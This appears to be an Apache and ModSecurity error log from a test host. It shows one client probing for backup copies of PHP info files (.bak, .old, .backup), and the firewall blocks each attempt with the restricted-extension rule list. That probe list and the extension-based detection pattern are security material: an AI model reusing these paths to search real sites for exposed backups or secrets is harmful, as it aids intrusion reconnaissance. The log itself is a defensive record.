[Thu Oct 30 20:08:58.240465 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aQO3yjBYe33Xoy6JQHQ2xQAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:58.240856 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aQO3yjBYe33Xoy6JQHQ2xQAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:58.241070 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aQO3yjBYe33Xoy6JQHQ2xQAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:58.824103 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.bak&quot;] [unique_id &quot;aQO3yjBYe33Xoy6JQHQ2xgAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:58.824529 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.bak&quot;] [unique_id &quot;aQO3yjBYe33Xoy6JQHQ2xgAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:58.824737 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.bak&quot;] [unique_id &quot;aQO3yjBYe33Xoy6JQHQ2xgAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:59.465777 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.bak&quot;] [unique_id &quot;aQO3yzBYe33Xoy6JQHQ2xwAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:59.466194 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.bak&quot;] [unique_id &quot;aQO3yzBYe33Xoy6JQHQ2xwAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:59.466443 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.bak&quot;] [unique_id &quot;aQO3yzBYe33Xoy6JQHQ2xwAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:00.090018 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.old&quot;] [unique_id &quot;aQO3zDBYe33Xoy6JQHQ2yAAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:00.090449 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.old&quot;] [unique_id &quot;aQO3zDBYe33Xoy6JQHQ2yAAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:00.090694 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.old&quot;] [unique_id &quot;aQO3zDBYe33Xoy6JQHQ2yAAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:00.688929 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.old&quot;] [unique_id &quot;aQO3zDBYe33Xoy6JQHQ2yQAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:00.689332 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.old&quot;] [unique_id &quot;aQO3zDBYe33Xoy6JQHQ2yQAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:00.689535 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.old&quot;] [unique_id &quot;aQO3zDBYe33Xoy6JQHQ2yQAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:01.291428 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.old&quot;] [unique_id &quot;aQO3zTBYe33Xoy6JQHQ2ygAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:01.291815 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.old&quot;] [unique_id &quot;aQO3zTBYe33Xoy6JQHQ2ygAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:01.292010 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.old&quot;] [unique_id &quot;aQO3zTBYe33Xoy6JQHQ2ygAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:01.916443 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.old&quot;] [unique_id &quot;aQO3zTBYe33Xoy6JQHQ2ywAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:01.916846 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.old&quot;] [unique_id &quot;aQO3zTBYe33Xoy6JQHQ2ywAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:01.917051 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.old&quot;] [unique_id &quot;aQO3zTBYe33Xoy6JQHQ2ywAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:04.948674 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.backup&quot;] [unique_id &quot;aQO30DBYe33Xoy6JQHQ20AAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:04.949073 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.backup&quot;] [unique_id &quot;aQO30DBYe33Xoy6JQHQ20AAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:04.949277 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.backup&quot;] [unique_id &quot;aQO30DBYe33Xoy6JQHQ20AAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:05.570166 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.backup&quot;] [unique_id &quot;aQO30TBYe33Xoy6JQHQ20QAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:05.570601 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.backup&quot;] [unique_id &quot;aQO30TBYe33Xoy6JQHQ20QAAAAM&quot;], referer: https://www.google.com/
[Thu Oct 30 20:09:05.570806 2025] [:error] [pid 3882090] [client 13.212.120.214:48200] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.backup&quot;] [unique_id &quot;aQO30TBYe33Xoy6JQHQ20QAAAAM&quot;], referer: https://www.google.com/
